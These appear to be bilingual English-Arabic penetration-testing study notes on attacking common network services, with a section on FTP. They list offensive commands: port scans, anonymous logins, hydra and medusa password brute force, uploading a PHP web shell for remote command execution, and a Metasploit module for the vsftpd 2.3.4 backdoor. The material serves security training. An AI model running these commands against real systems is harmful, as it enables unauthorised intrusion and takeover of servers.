1. Introduction

Interacting with Common Services

# كل خدمة = بوابة محتملة للدخول

# أسرع طريقة تكتشف الخدمات
nmap -sV -sC -p- --min-rate 5000 <IP> -oN scan.txt

# خدمات شائعة وبوراتها:
# 21   → FTP
# 22   → SSH
# 23   → Telnet
# 25   → SMTP
# 53   → DNS
# 80   → HTTP
# 110  → POP3
# 143  → IMAP
# 443  → HTTPS
# 445  → SMB
# 1433 → MSSQL
# 3306 → MySQL
# 3389 → RDP
# 5985 → WinRM

2. Protocol Specific Attacks

The Concept of Attacks

# كل هجوم يتبع نفس المنطق:
# 1. Enumerate الخدمة
# 2. ابحث عن Misconfigurations
# 3. ابحث عن Sensitive Info
# 4. جرب Default/Weak Credentials
# 5. ابحث عن Known Vulnerabilities

# Banner Grabbing — أول خطوة
nc -nv <IP> <port>
telnet <IP> <port>
curl -I http://<IP>

Service Misconfigurations

# أشيع أنواع الـ Misconfigurations:

# Anonymous Access
ftp <IP>  # user: anonymous
smbclient -L //<IP> -N

# Default Credentials
admin:admin, admin:password, root:root
# مصدر: https://github.com/ihebski/DefaultCreds-cheat-sheet

# Cleartext Protocols (بدون encryption)
FTP, Telnet, HTTP, SMTP بدون TLS

# Exposed Services للإنترنت
# DB مفتوحة على 0.0.0.0 بدون authentication

Finding Sensitive Information

# في كل خدمة ابحث عن:
# - Credentials (username/password)
# - API Keys
# - Database connection strings
# - Private Keys
# - Sensitive documents
# - Internal IPs/hostnames

3. FTP — Port 21

Attacking FTP

# Enum
nmap -sV -sC -p 21 <IP>
nmap --script ftp-anon,ftp-bounce,ftp-syst -p 21 <IP>

# Anonymous Login
ftp <IP>
# username: anonymous
# password: (اتركه فاضي أو أي email)

# داخل FTP
ls -la          # قائمة الملفات مع المخفية
get <file>      # تنزيل ملف
mget *          # تنزيل كل شي
put <file>      # رفع ملف
binary          # وضع binary (للملفات غير النصية)

# Brute Force
hydra -l user -P rockyou.txt ftp://<IP> -t 4
medusa -h <IP> -u admin -P rockyou.txt -M ftp

# FTP Upload → RCE (لو في web server)
# ارفع web shell على FTP وشغّله عبر HTTP
put shell.php
# http://<IP>/shell.php?cmd=whoami

# FTP Bounce Attack (قديم)
nmap -b <ftp_server> <target>

Latest FTP Vulnerabilities

# ProFTPD
# CVE-2015-3306 — Copy File RCE
searchsploit proftpd

# vsftpd 2.3.4 — Backdoor (سميلي فيس)
msf> use exploit/unix/ftp/vsftpd_234_backdoor

# FileZilla Server — Directory Traversal
# Pure-FTPd — Integer Overflow

# تحقق دائماً:
searchsploit <ftpd_software> <version>

4. SMB — Port 445